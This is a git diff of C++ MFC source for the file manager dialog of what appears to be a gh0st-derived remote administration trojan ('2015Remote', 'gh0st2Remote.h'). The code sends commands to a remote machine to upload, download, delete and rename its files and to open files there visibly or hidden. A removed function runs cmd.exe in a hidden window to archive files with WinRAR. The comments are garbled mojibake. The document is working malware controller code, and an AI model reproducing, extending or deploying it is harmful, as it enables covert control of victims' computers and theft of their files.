strFileFullPath.GetLength() + 2; - BYTE szBuffer[MAX_PATH+10]; - szBuffer[0] = COMMAND_OPEN_FILE_SHOW; - memcpy(szBuffer + 1, strFileFullPath.GetBuffer(0), ulLength - 1); - m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, ulLength); -} - - -void CFileManagerDlg::OnOperationClientHideRun() -{ - // TODO: ڴ -} - - -void CFileManagerDlg::OnLvnEndlabeleditListClient(NMHDR *pNMHDR, LRESULT *pResult) -{ - NMLVDISPINFO *pDispInfo = reinterpret_cast(pNMHDR); - - CString strNewFileName, strExistingFileFullPath, strNewFileFullPath; - m_ControlList_Client.GetEditControl()->GetWindowText(strNewFileName); - - strExistingFileFullPath = m_Client_File_Path + m_ControlList_Client.GetItemText(pDispInfo->item.iItem, 0); - strNewFileFullPath = m_Client_File_Path + strNewFileName; - - if (strExistingFileFullPath != strNewFileFullPath) + if (m_nTransferMode == TRANSFER_MODE_CANCEL) { - UINT ulLength = strExistingFileFullPath.GetLength() + strNewFileFullPath.GetLength() + 3; - LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, ulLength); - szBuffer[0] = COMMAND_RENAME_FILE; //򱻿ض˷Ϣ - memcpy(szBuffer + 1, strExistingFileFullPath.GetBuffer(0), strExistingFileFullPath.GetLength() + 1); - memcpy(szBuffer + 2 + strExistingFileFullPath.GetLength(), - strNewFileFullPath.GetBuffer(0), strNewFileFullPath.GetLength() + 1); - m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, ulLength); - LocalFree(szBuffer); - - GetClientFileList("."); + // ȡ + m_bIsStop = true; + SendStop(); + return; + } + int nTransferMode; + switch (m_nTransferMode) + { + case TRANSFER_MODE_OVERWRITE_ALL: + nTransferMode = TRANSFER_MODE_OVERWRITE; + break; + case TRANSFER_MODE_ADDITION_ALL: + nTransferMode = TRANSFER_MODE_ADDITION; + break; + case TRANSFER_MODE_JUMP_ALL: + nTransferMode = TRANSFER_MODE_JUMP; + break; + default: + nTransferMode = m_nTransferMode; } - *pResult = 0; -} + // 1ֽToken,ֽƫƸλֽƫƵλ + BYTE bToken[9]; + DWORD dwCreationDisposition; // ļ򿪷ʽ + memset(bToken, 0, sizeof(bToken)); + bToken[0] = COMMAND_CONTINUE; - -void CFileManagerDlg::OnOperationCompress() -{ - POINT Point; - GetCursorPos(&Point); - if (GetFocus()->m_hWnd == m_ControlList_Server.m_hWnd) - { - ServerCompress(1); - } -} - - -VOID CFileManagerDlg::ServerCompress(ULONG ulType) -{ - POSITION Pos = m_ControlList_Server.GetFirstSelectedItemPosition(); - - CString strString; - - while(Pos) + // ļѾ + if (hFind != INVALID_HANDLE_VALUE) { - int iItem = m_ControlList_Server.GetNextSelectedItem(Pos); - strString += m_Server_File_Path + m_ControlList_Server.GetItemText(iItem, 0); //C:\1.txt C:\2.txt s - strString += _T(" "); - } - - if (!strString.IsEmpty()) - { - CString strRARFileFullPath; - - strRARFileFullPath += m_Server_File_Path; - CFileCompress Dlg(this,ulType); - - if (Dlg.DoModal()==IDOK) + // ʾʲô + // + if (nTransferMode == TRANSFER_MODE_ADDITION) { - if (Dlg.m_EditRarName.IsEmpty()) - { - MessageBox("ERROR"); - return; - } + memcpy(bToken + 1, &FindFileData.nFileSizeHigh, 4); + memcpy(bToken + 5, &FindFileData.nFileSizeLow, 4); + // յijȵ + m_nCounter += FindFileData.nFileSizeHigh * (MAXDWORD+1); + m_nCounter += FindFileData.nFileSizeLow; - strRARFileFullPath += Dlg.m_EditRarName; - strRARFileFullPath += ".rar"; - CompressFiles(strRARFileFullPath.GetBuffer(strRARFileFullPath.GetLength()), - strString.GetBuffer(strString.GetLength()),ulType); - } + dwCreationDisposition = OPEN_EXISTING; + } + // + else if (nTransferMode == TRANSFER_MODE_OVERWRITE) + { + // ƫ0 + memset(bToken + 1, 0, 8); + // ´ + dwCreationDisposition = CREATE_ALWAYS; + + } + // ָƵ-1 + else if (nTransferMode == TRANSFER_MODE_JUMP) + { + m_ProgressCtrl->SetPos(100); + DWORD dwOffset = -1; + memcpy(bToken + 5, &dwOffset, 4); + dwCreationDisposition = OPEN_EXISTING; + } + } + else + { + // ƫ0 + memset(bToken + 1, 0, 8); + // ´ + dwCreationDisposition = CREATE_ALWAYS; + } + FindClose(hFind); + + + HANDLE hFile = + CreateFile + ( + m_strReceiveLocalFile.GetBuffer(0), + GENERIC_WRITE, + FILE_SHARE_WRITE, + NULL, + dwCreationDisposition, + FILE_ATTRIBUTE_NORMAL, + 0 + ); + // Ҫ + if (hFile == INVALID_HANDLE_VALUE) + { + m_nOperatingFileLength = 0; + m_nCounter = 0; + ::MessageBox(m_hWnd, m_strReceiveLocalFile + " ļʧ", "", MB_OK|MB_ICONWARNING); + return; + } + CloseHandle(hFile); + + ShowProgress(); + if (m_bIsStop) + SendStop(); + else + { + // ͼļtoken,ļƫ + m_iocpServer->Send(m_pContext, bToken, sizeof(bToken)); + } +} +// дļ + +void CFileManagerDlg::WriteLocalRecvFile() +{ + + // + BYTE *pData; + DWORD dwBytesToWrite; + DWORD dwBytesWrite; + int nHeadLength = 9; // 1 + 4 + 4 ݰͷСΪ̶9 + FILESIZE *pFileSize; + // õݵƫ + pData = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength); + + pFileSize = (FILESIZE *)m_pContext->m_DeCompressionBuffer.GetBuffer(1); + // õļеƫ, ֵ + m_nCounter = MAKEINT64(pFileSize->dwSizeLow, pFileSize->dwSizeHigh); + + LONG dwOffsetHigh = pFileSize->dwSizeHigh; + LONG dwOffsetLow = pFileSize->dwSizeLow; + + + dwBytesToWrite = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength; + + HANDLE hFile = + CreateFile + ( + m_strReceiveLocalFile.GetBuffer(0), + GENERIC_WRITE, + FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + 0 + ); + + SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN); + + int nRet = 0, i = 0; + for (; i < MAX_WRITE_RETRY; i++) + { + // дļ + nRet = WriteFile + ( + hFile, + pData, + dwBytesToWrite, + &dwBytesWrite, + NULL + ); + if (nRet > 0) + { + break; + } + } + if (i == MAX_WRITE_RETRY && nRet <= 0) + { + ::MessageBox(m_hWnd, m_strReceiveLocalFile + " ļдʧ", "", MB_OK|MB_ICONWARNING); + } + CloseHandle(hFile); + // Ϊ˱Ƚϣ + m_nCounter += dwBytesWrite; + ShowProgress(); + if (m_bIsStop) + SendStop(); + else + { + BYTE bToken[9]; + bToken[0] = COMMAND_CONTINUE; + dwOffsetLow += dwBytesWrite; + memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh)); + memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow)); + m_iocpServer->Send(m_pContext, bToken, sizeof(bToken)); } } - -BOOL CFileManagerDlg::CompressFiles(PCSTR strRARFileFullPath,PSTR strString,ULONG ulType) +void CFileManagerDlg::EndLocalRecvFile() { - // ibck Ą̊́ - PSTR szExePath = "/c c:\\progra~1\\winrar\\winrar.exe a -ad -ep1 -ibck "; - //"/c c:\\progra~1\\winrar\\winrar.exe -x -ep1 -ibck " ; - ULONG ulLength =strlen(szExePath) + strlen(strRARFileFullPath)+strlen(strString)+2; + m_nCounter = 0; + m_strOperatingFile = ""; + m_nOperatingFileLength = 0; - PSTR szBuffer = (PSTR)malloc(sizeof(CHAR)* ulLength); - StringCchCopyN(szBuffer , ulLength , szExePath , strlen(szExePath)); - StringCchCatN( szBuffer ,ulLength , strRARFileFullPath , strlen(strRARFileFullPath) ); - StringCchCatN( szBuffer ,ulLength , " " ,1); - StringCchCatN( szBuffer ,ulLength , strString , strlen(strString)); - - if (ulType==1) + if (m_Remote_Download_Job.IsEmpty() || m_bIsStop) { - SHELLEXECUTEINFO sei = {0}; - sei.cbSize = sizeof sei; - sei.lpVerb = "open"; - sei.lpFile = "c:\\windows\\system32\\cmd.exe"; - sei.lpParameters = szBuffer; - sei.nShow = SW_HIDE; - sei.fMask = SEE_MASK_NOCLOSEPROCESS; - BOOL fReturn = ShellExecuteEx(&sei); - - CloseHandle(sei.hProcess); - return (fReturn); - } - return TRUE; + m_Remote_Download_Job.RemoveAll(); + m_bIsStop = false; + // ô䷽ʽ + m_nTransferMode = TRANSFER_MODE_NORMAL; + EnableControl(TRUE); + FixedLocalFileList("."); + ShowMessage("أװĿ¼ %s\*.* ", m_Local_Path); + } + else + { + // ҿsleep»˿ǰݻûsendȥ + Sleep(5); + SendDownloadJob(); + } + return; } + +void CFileManagerDlg::EndLocalUploadFile() +{ + + m_nCounter = 0; + m_strOperatingFile = ""; + m_nOperatingFileLength = 0; + + if (m_Remote_Upload_Job.IsEmpty() || m_bIsStop) + { + m_Remote_Upload_Job.RemoveAll(); + m_bIsStop = false; + EnableControl(TRUE); + GetRemoteFileList("."); + ShowMessage("Զ̣װĿ¼ %s\*.* ", m_Remote_Path); + } + else + { + // ҿsleep»˿ǰݻûsendȥ + Sleep(5); + SendUploadJob(); + } + return; +} +void CFileManagerDlg::EndRemoteDeleteFile() +{ + if (m_Remote_Delete_Job.IsEmpty() || m_bIsStop) + { + m_bIsStop = false; + EnableControl(TRUE); + GetRemoteFileList("."); + ShowMessage("Զ̣װĿ¼ %s\*.* ", m_Remote_Path); + } + else + { + // ҿsleep»˿ǰݻûsendȥ + Sleep(5); + SendDeleteJob(); + } + return; +} + + +void CFileManagerDlg::SendException() +{ + BYTE bBuff = COMMAND_EXCEPTION; + m_iocpServer->Send(m_pContext, &bBuff, 1); +} + +void CFileManagerDlg::SendContinue() +{ + BYTE bBuff = COMMAND_CONTINUE; + m_iocpServer->Send(m_pContext, &bBuff, 1); +} + +void CFileManagerDlg::SendStop() +{ + BYTE bBuff = COMMAND_STOP; + m_iocpServer->Send(m_pContext, &bBuff, 1); +} + +void CFileManagerDlg::ShowProgress() +{ + char *lpDirection = NULL; + if (m_bIsUpload) + lpDirection = "ļ"; + else + lpDirection = "ļ"; + + + if ((int)m_nCounter == -1) + { + m_nCounter = m_nOperatingFileLength; + } + + int progress = (float)(m_nCounter * 100) / m_nOperatingFileLength; + ShowMessage("%s %s %dKB (%d%%)", lpDirection, m_strOperatingFile, (int)(m_nCounter / 1024), progress); + m_ProgressCtrl->SetPos(progress); + + if (m_nCounter == m_nOperatingFileLength) + { + m_nCounter = m_nOperatingFileLength = 0; + // رļ + } +} + +void CFileManagerDlg::OnLocalDelete() +{ + m_bIsUpload = true; + CString str; + if (m_list_local.GetSelectedCount() > 1) + str.Format("ȷҪ %d ɾ?", m_list_local.GetSelectedCount()); + else + { + CString file = m_list_local.GetItemText(m_list_local.GetSelectionMark(), 0); + if (m_list_local.GetItemData(m_list_local.GetSelectionMark()) == 1) + str.Format("ȷʵҪɾļС%sɾ?", file); + else + str.Format("ȷʵҪѡ%sɾ?", file); + } + if (::MessageBox(m_hWnd, str, "ȷɾ", MB_YESNO|MB_ICONQUESTION) == IDNO) + return; + + EnableControl(FALSE); + + POSITION pos = m_list_local.GetFirstSelectedItemPosition(); //iterator for the CListCtrl + while(pos) //so long as we have a valid POSITION, we keep iterating + { + int nItem = m_list_local.GetNextSelectedItem(pos); + CString file = m_Local_Path + m_list_local.GetItemText(nItem, 0); + // Ŀ¼ + if (m_list_local.GetItemData(nItem)) + { + file += '\\'; + DeleteDirectory(file); + } + else + { + DeleteFile(file); + } + } //EO while(pos) -- at this point we have deleted the moving items and stored them in memory + // ļ + EnableControl(TRUE); + + FixedLocalFileList("."); +} + +void CFileManagerDlg::OnRemoteDelete() +{ + m_bIsUpload = false; + // TODO: Add your command handler code here + CString str; + if (m_list_remote.GetSelectedCount() > 1) + str.Format("ȷҪ %d ɾ?", m_list_remote.GetSelectedCount()); + else + { + CString file = m_list_remote.GetItemText(m_list_remote.GetSelectionMark(), 0); + if (m_list_remote.GetItemData(m_list_remote.GetSelectionMark()) == 1) + str.Format("ȷʵҪɾļС%sɾ?", file); + else + str.Format("ȷʵҪѡ%sɾ?", file); + } + if (::MessageBox(m_hWnd, str, "ȷɾ", MB_YESNO|MB_ICONQUESTION) == IDNO) + return; + m_Remote_Delete_Job.RemoveAll(); + POSITION pos = m_list_remote.GetFirstSelectedItemPosition(); //iterator for the CListCtrl + while(pos) //so long as we have a valid POSITION, we keep iterating + { + int nItem = m_list_remote.GetNextSelectedItem(pos); + CString file = m_Remote_Path + m_list_remote.GetItemText(nItem, 0); + // Ŀ¼ + if (m_list_remote.GetItemData(nItem)) + file += '\\'; + + m_Remote_Delete_Job.AddTail(file); + } //EO while(pos) -- at this point we have deleted the moving items and stored them in memory + + EnableControl(FALSE); + // ͵һ + SendDeleteJob(); +} + +void CFileManagerDlg::OnRemoteStop() +{ + // TODO: Add your command handler code here + m_bIsStop = true; +} + +void CFileManagerDlg::OnLocalStop() +{ + // TODO: Add your command handler code here + m_bIsStop = true; +} + +void CFileManagerDlg::PostNcDestroy() +{ + // TODO: Add your specialized code here and/or call the base class + delete this; + CDialog::PostNcDestroy(); +} + +void CFileManagerDlg::SendTransferMode() +{ + CFileTransferModeDlg dlg(this); + dlg.m_strFileName = m_strUploadRemoteFile; + switch (dlg.DoModal()) + { + case IDC_OVERWRITE: + m_nTransferMode = TRANSFER_MODE_OVERWRITE; + break; + case IDC_OVERWRITE_ALL: + m_nTransferMode = TRANSFER_MODE_OVERWRITE_ALL; + break; + case IDC_ADDITION: + m_nTransferMode = TRANSFER_MODE_ADDITION; + break; + case IDC_ADDITION_ALL: + m_nTransferMode = TRANSFER_MODE_ADDITION_ALL; + break; + case IDC_JUMP: + m_nTransferMode = TRANSFER_MODE_JUMP; + break; + case IDC_JUMP_ALL: + m_nTransferMode = TRANSFER_MODE_JUMP_ALL; + break; + case IDC_CANCEL: + m_nTransferMode = TRANSFER_MODE_CANCEL; + break; + } + if (m_nTransferMode == TRANSFER_MODE_CANCEL) + { + m_bIsStop = true; + EndLocalUploadFile(); + return; + } + + BYTE bToken[5]; + bToken[0] = COMMAND_SET_TRANSFER_MODE; + memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode)); + m_iocpServer->Send(m_pContext, (unsigned char *)&bToken, sizeof(bToken)); +} + +void CFileManagerDlg::SendFileData() +{ + FILESIZE *pFileSize = (FILESIZE *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + LONG dwOffsetHigh = pFileSize->dwSizeHigh ; + LONG dwOffsetLow = pFileSize->dwSizeLow; + + m_nCounter = MAKEINT64(pFileSize->dwSizeLow, pFileSize->dwSizeHigh); + + ShowProgress(); + + + if (m_nCounter == m_nOperatingFileLength || pFileSize->dwSizeLow == -1 || m_bIsStop) + { + EndLocalUploadFile(); + return; + } + + + HANDLE hFile; + hFile = CreateFile(m_strOperatingFile.GetBuffer(0), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); + if (hFile == INVALID_HANDLE_VALUE) + { + return; + } + + SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN); + + int nHeadLength = 9; // 1 + 4 + 4 ݰͷСΪ̶9 + + DWORD nNumberOfBytesToRead = MAX_SEND_BUFFER - nHeadLength; + DWORD nNumberOfBytesRead = 0; + BYTE *lpBuffer = (BYTE *)LocalAlloc(LPTR, MAX_SEND_BUFFER); + // Token, Сƫƣ + lpBuffer[0] = COMMAND_FILE_DATA; + memcpy(lpBuffer + 1, &dwOffsetHigh, sizeof(dwOffsetHigh)); + memcpy(lpBuffer + 5, &dwOffsetLow, sizeof(dwOffsetLow)); + // ֵ + bool bRet = true; + ReadFile(hFile, lpBuffer + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL); + CloseHandle(hFile); + + + if (nNumberOfBytesRead > 0) + { + int nPacketSize = nNumberOfBytesRead + nHeadLength; + m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize); + } + LocalFree(lpBuffer); +} + + +bool CFileManagerDlg::DeleteDirectory(LPCTSTR lpszDirectory) +{ + WIN32_FIND_DATA wfd; + char lpszFilter[MAX_PATH]; + + wsprintf(lpszFilter, "%s\\*.*", lpszDirectory); + + HANDLE hFind = FindFirstFile(lpszFilter, &wfd); + if (hFind == INVALID_HANDLE_VALUE) // ûҵʧ + return FALSE; + + do + { + if (wfd.cFileName[0] != '.') + { + if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) + { + char strDirectory[MAX_PATH]; + wsprintf(strDirectory, "%s\\%s", lpszDirectory, wfd.cFileName); + DeleteDirectory(strDirectory); + } + else + { + char strFile[MAX_PATH]; + wsprintf(strFile, "%s\\%s", lpszDirectory, wfd.cFileName); + DeleteFile(strFile); + } + } + } while (FindNextFile(hFind, &wfd)); + + FindClose(hFind); // رղҾ + + if(!RemoveDirectory(lpszDirectory)) + { + return FALSE; + } + return true; +} + +void CFileManagerDlg::OnLocalNewfolder() +{ + if (m_Local_Path == "") + return; + // TODO: Add your command handler code here + + CInputDialog dlg; + dlg.Init(_T("½Ŀ¼"), _T("Ŀ¼:"), this); + + if (dlg.DoModal() == IDOK && dlg.m_str.GetLength()) + { + // Ŀ¼ + MakeSureDirectoryPathExists(m_Local_Path + dlg.m_str + "\\"); + FixedLocalFileList("."); + } +} + +void CFileManagerDlg::OnRemoteNewfolder() +{ + if (m_Remote_Path == "") + return; + // TODO: Add your command handler code here + // TODO: Add your command handler code here + CInputDialog dlg; + dlg.Init(_T("½Ŀ¼"), _T("Ŀ¼:"), this); + + if (dlg.DoModal() == IDOK && dlg.m_str.GetLength()) + { + CString file = m_Remote_Path + dlg.m_str + "\\"; + UINT nPacketSize = file.GetLength() + 2; + // Ŀ¼ + LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, file.GetLength() + 2); + lpBuffer[0] = COMMAND_CREATE_FOLDER; + memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1); + m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize); + } +} + +void CFileManagerDlg::OnTransfer() +{ + // TODO: Add your command handler code here + POINT pt; + GetCursorPos(&pt); + if (GetFocus()->m_hWnd == m_list_local.m_hWnd) + { + OnLocalCopy(); + } + else + { + OnRemoteCopy(); + } +} + +void CFileManagerDlg::OnRename() +{ + // TODO: Add your command handler code here + POINT pt; + GetCursorPos(&pt); + if (GetFocus()->m_hWnd == m_list_local.m_hWnd) + { + m_list_local.EditLabel(m_list_local.GetSelectionMark()); + } + else + { + m_list_remote.EditLabel(m_list_remote.GetSelectionMark()); + } +} + +void CFileManagerDlg::OnEndlabeleditListLocal(NMHDR* pNMHDR, LRESULT* pResult) +{ + LV_DISPINFO* pDispInfo = (LV_DISPINFO*)pNMHDR; + // TODO: Add your control notification handler code here + + + CString str, strExistingFileName, strNewFileName; + m_list_local.GetEditControl()->GetWindowText(str); + + strExistingFileName = m_Local_Path + m_list_local.GetItemText(pDispInfo->item.iItem, 0); + strNewFileName = m_Local_Path + str; + *pResult = ::MoveFile(strExistingFileName.GetBuffer(0), strNewFileName.GetBuffer(0)); +} + +void CFileManagerDlg::OnEndlabeleditListRemote(NMHDR* pNMHDR, LRESULT* pResult) +{ + LV_DISPINFO* pDispInfo = (LV_DISPINFO*)pNMHDR; + // TODO: Add your control notification handler code here + CString str, strExistingFileName, strNewFileName; + m_list_remote.GetEditControl()->GetWindowText(str); + + strExistingFileName = m_Remote_Path + m_list_remote.GetItemText(pDispInfo->item.iItem, 0); + strNewFileName = m_Remote_Path + str; + + if (strExistingFileName != strNewFileName) + { + UINT nPacketSize = strExistingFileName.GetLength() + strNewFileName.GetLength() + 3; + LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketSize); + lpBuffer[0] = COMMAND_RENAME_FILE; + memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), strExistingFileName.GetLength() + 1); + memcpy(lpBuffer + 2 + strExistingFileName.GetLength(), + strNewFileName.GetBuffer(0), strNewFileName.GetLength() + 1); + m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize); + LocalFree(lpBuffer); + } + *pResult = 1; +} + +void CFileManagerDlg::OnDelete() +{ + // TODO: Add your command handler code here + POINT pt; + GetCursorPos(&pt); + if (GetFocus()->m_hWnd == m_list_local.m_hWnd) + { + OnLocalDelete(); + } + else + { + OnRemoteDelete(); + } +} + +void CFileManagerDlg::OnNewfolder() +{ + // TODO: Add your command handler code here + POINT pt; + GetCursorPos(&pt); + if (GetFocus()->m_hWnd == m_list_local.m_hWnd) + { + OnLocalNewfolder(); + } + else + { + OnRemoteNewfolder(); + } +} + +void CFileManagerDlg::OnRefresh() +{ + // TODO: Add your command handler code here + POINT pt; + GetCursorPos(&pt); + if (GetFocus()->m_hWnd == m_list_local.m_hWnd) + { + FixedLocalFileList("."); + } + else + { + GetRemoteFileList("."); + } +} + +void CFileManagerDlg::OnLocalOpen() +{ + // TODO: Add your command handler code here + CString str; + str = m_Local_Path + m_list_local.GetItemText(m_list_local.GetSelectionMark(), 0); + ShellExecute(NULL, "open", str, NULL, NULL, SW_SHOW); +} + +void CFileManagerDlg::OnRemoteOpenShow() +{ + // TODO: Add your command handler code here + CString str; + str = m_Remote_Path + m_list_remote.GetItemText(m_list_remote.GetSelectionMark(), 0); + + int nPacketLength = str.GetLength() + 2; + LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); + lpPacket[0] = COMMAND_OPEN_FILE_SHOW; + memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1); + m_iocpServer->Send(m_pContext, lpPacket, nPacketLength); + delete [] lpPacket; +} + +void CFileManagerDlg::OnRemoteOpenHide() +{ + // TODO: Add your command handler code here + CString str; + str = m_Remote_Path + m_list_remote.GetItemText(m_list_remote.GetSelectionMark(), 0); + + int nPacketLength = str.GetLength() + 2; + LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); + lpPacket[0] = COMMAND_OPEN_FILE_HIDE; + memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1); + m_iocpServer->Send(m_pContext, lpPacket, nPacketLength); + delete [] lpPacket; +} + +void CFileManagerDlg::OnRclickListLocal(NMHDR* pNMHDR, LRESULT* pResult) +{ + // TODO: Add your control notification handler code here + CListCtrl *pListCtrl = &m_list_local; + CMenu popup; + popup.LoadMenu(IDR_FILEMANAGER); + CMenu* pM = popup.GetSubMenu(0); + CPoint p; + GetCursorPos(&p); + pM->DeleteMenu(6, MF_BYPOSITION); + if (pListCtrl->GetSelectedCount() == 0) + { + int count = pM->GetMenuItemCount(); + for (int i = 0; i < count; i++) + { + pM->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED); + } + } + if (pListCtrl->GetSelectedCount() <= 1) + { + pM->EnableMenuItem(IDM_NEWFOLDER, MF_BYCOMMAND | MF_ENABLED); + } + if (pListCtrl->GetSelectedCount() == 1) + { + // ļ + if (pListCtrl->GetItemData(pListCtrl->GetSelectionMark()) == 1) + pM->EnableMenuItem(IDM_LOCAL_OPEN, MF_BYCOMMAND | MF_GRAYED); + else + pM->EnableMenuItem(IDM_LOCAL_OPEN, MF_BYCOMMAND | MF_ENABLED); + } + else + pM->EnableMenuItem(IDM_LOCAL_OPEN, MF_BYCOMMAND | MF_GRAYED); + + + pM->EnableMenuItem(IDM_REFRESH, MF_BYCOMMAND | MF_ENABLED); + pM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this); + *pResult = 0; +} + +void CFileManagerDlg::OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult) +{ + // TODO: Add your control notification handler code here + int nRemoteOpenMenuIndex = 5; + CListCtrl *pListCtrl = &m_list_remote; + CMenu popup; + popup.LoadMenu(IDR_FILEMANAGER); + CMenu* pM = popup.GetSubMenu(0); + CPoint p; + GetCursorPos(&p); + pM->DeleteMenu(IDM_LOCAL_OPEN, MF_BYCOMMAND); + if (pListCtrl->GetSelectedCount() == 0) + { + int count = pM->GetMenuItemCount(); + for (int i = 0; i < count; i++) + { + pM->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED); + } + } + if (pListCtrl->GetSelectedCount() <= 1) + { + pM->EnableMenuItem(IDM_NEWFOLDER, MF_BYCOMMAND | MF_ENABLED); + } + if (pListCtrl->GetSelectedCount() == 1) + { + // ļ + if (pListCtrl->GetItemData(pListCtrl->GetSelectionMark()) == 1) + pM->EnableMenuItem(nRemoteOpenMenuIndex, MF_BYPOSITION| MF_GRAYED); + else + pM->EnableMenuItem(nRemoteOpenMenuIndex, MF_BYPOSITION | MF_ENABLED); + } + else + pM->EnableMenuItem(nRemoteOpenMenuIndex, MF_BYPOSITION | MF_GRAYED); + + + pM->EnableMenuItem(IDM_REFRESH, MF_BYCOMMAND | MF_ENABLED); + pM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this); + *pResult = 0; +} + +bool CFileManagerDlg::MakeSureDirectoryPathExists(LPCTSTR pszDirPath) +{ + LPTSTR p, pszDirCopy; + DWORD dwAttributes; + + // Make a copy of the string for editing. + + __try + { + pszDirCopy = (LPTSTR)malloc(sizeof(TCHAR) * (lstrlen(pszDirPath) + 1)); + + if(pszDirCopy == NULL) + return FALSE; + + lstrcpy(pszDirCopy, pszDirPath); + + p = pszDirCopy; + + // If the second character in the path is "\", then this is a UNC + // path, and we should skip forward until we reach the 2nd \ in the path. + + if((*p == TEXT('\\')) && (*(p+1) == TEXT('\\'))) + { + p++; // Skip over the first \ in the name. + p++; // Skip over the second \ in the name. + + // Skip until we hit the first "\" (\\Server\). + + while(*p && *p != TEXT('\\')) + { + p = CharNext(p); + } + + // Advance over it. + + if(*p) + { + p++; + } + + // Skip until we hit the second "\" (\\Server\Share\). + + while(*p && *p != TEXT('\\')) + { + p = CharNext(p); + } + + // Advance over it also. + + if(*p) + { + p++; + } + + } + else if(*(p+1) == TEXT(':')) // Not a UNC. See if it's : + { + p++; + p++; + + // If it exists, skip over the root specifier + + if(*p && (*p == TEXT('\\'))) + { + p++; + } + } + + while(*p) + { + if(*p == TEXT('\\')) + { + *p = TEXT('\0'); + dwAttributes = GetFileAttributes(pszDirCopy); + + // Nothing exists with this name. Try to make the directory name and error if unable to. + if(dwAttributes == 0xffffffff) + { + if(!CreateDirectory(pszDirCopy, NULL)) + { + if(GetLastError() != ERROR_ALREADY_EXISTS) + { + free(pszDirCopy); + return FALSE; + } + } + } + else + { + if((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY) + { + // Something exists with this name, but it's not a directory... Error + free(pszDirCopy); + return FALSE; + } + } + + *p = TEXT('\\'); + } + + p = CharNext(p); + } + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + // SetLastError(GetExceptionCode()); + free(pszDirCopy); + return FALSE; + } + + free(pszDirCopy); + return TRUE; +} \ No newline at end of file diff --git a/server/2015Remote/FileManagerDlg.h b/server/2015Remote/FileManagerDlg.h index b8f062e..bd83ccf 100644 --- a/server/2015Remote/FileManagerDlg.h +++ b/server/2015Remote/FileManagerDlg.h @@ -1,190 +1,178 @@ +#if !defined(AFX_FILEMANAGERDLG_H__4918F922_13A4_4389_8027_5D4993A6DB91__INCLUDED_) +#define AFX_FILEMANAGERDLG_H__4918F922_13A4_4389_8027_5D4993A6DB91__INCLUDED_ +#include "TrueColorToolBar.h" // Added by ClassView +#if _MSC_VER > 1000 #pragma once -#include "afxcmn.h" -#include "IOCPServer.h" -#include "afxwin.h" -#include "TrueColorToolBar.h" +#endif // _MSC_VER > 1000 +#include "gh0st2Remote.h" -// CFileManagerDlg Ի +// FileManagerDlg.h : header file +// -typedef struct -{ - DWORD dwSizeHigh; - DWORD dwSizeLow; -}FILE_SIZE; +///////////////////////////////////////////////////////////////////////////// +// CFileManagerDlg dialog +typedef CList strList; -typedef CList ListTemplate; class CFileManagerDlg : public CDialog { - DECLARE_DYNAMIC(CFileManagerDlg) - +// Construction public: - CFileManagerDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // ׼캯 - virtual ~CFileManagerDlg(); + bool m_bIsStop; + CString m_strReceiveLocalFile; + CString m_strUploadRemoteFile; + void ShowProgress(); + void SendStop(); + int m_nTransferMode; + CString m_hCopyDestFolder; + void SendContinue(); + void SendException(); + void EndLocalRecvFile(); + void EndRemoteDeleteFile(); + CString m_strOperatingFile; // ļ + __int64 m_nOperatingFileLength; // ļܴС + __int64 m_nCounter;// + void WriteLocalRecvFile(); + void CreateLocalRecvFile(); + BOOL SendDownloadJob(); + BOOL SendUploadJob(); + BOOL SendDeleteJob(); - VOID CFileManagerDlg::FixedClientDiskDriverList(); - VOID CFileManagerDlg::FixedServerDiskDriverList(); + strList m_Remote_Download_Job; + strList m_Remote_Upload_Job; + strList m_Remote_Delete_Job; + CTrueColorToolBar m_wndToolBar_Local; + CTrueColorToolBar m_wndToolBar_Remote; + void ShowMessage(char *lpFmt, ...); + CString m_Remote_Path; + BYTE m_bRemoteDriveList[1024]; + CString GetParentDirectory(CString strPath); + void OnReceiveComplete(); - CONTEXT_OBJECT* m_ContextObject; - IOCPServer* m_iocpServer; - CString m_strClientIP; - BYTE m_szClientDiskDriverList[0x1000]; - char m_szServerDiskDriverList[0x1000]; + CImageList* m_pImageList_Large; + CImageList* m_pImageList_Small; - int GetServerIconIndex(LPCTSTR szVolume, DWORD dwFileAttributes) - { - SHFILEINFO sfi; - if (dwFileAttributes == INVALID_FILE_ATTRIBUTES) - dwFileAttributes = FILE_ATTRIBUTE_NORMAL; - else - dwFileAttributes |= FILE_ATTRIBUTE_NORMAL; + int m_nNewIconBaseIndex; // ¼ӵICON - 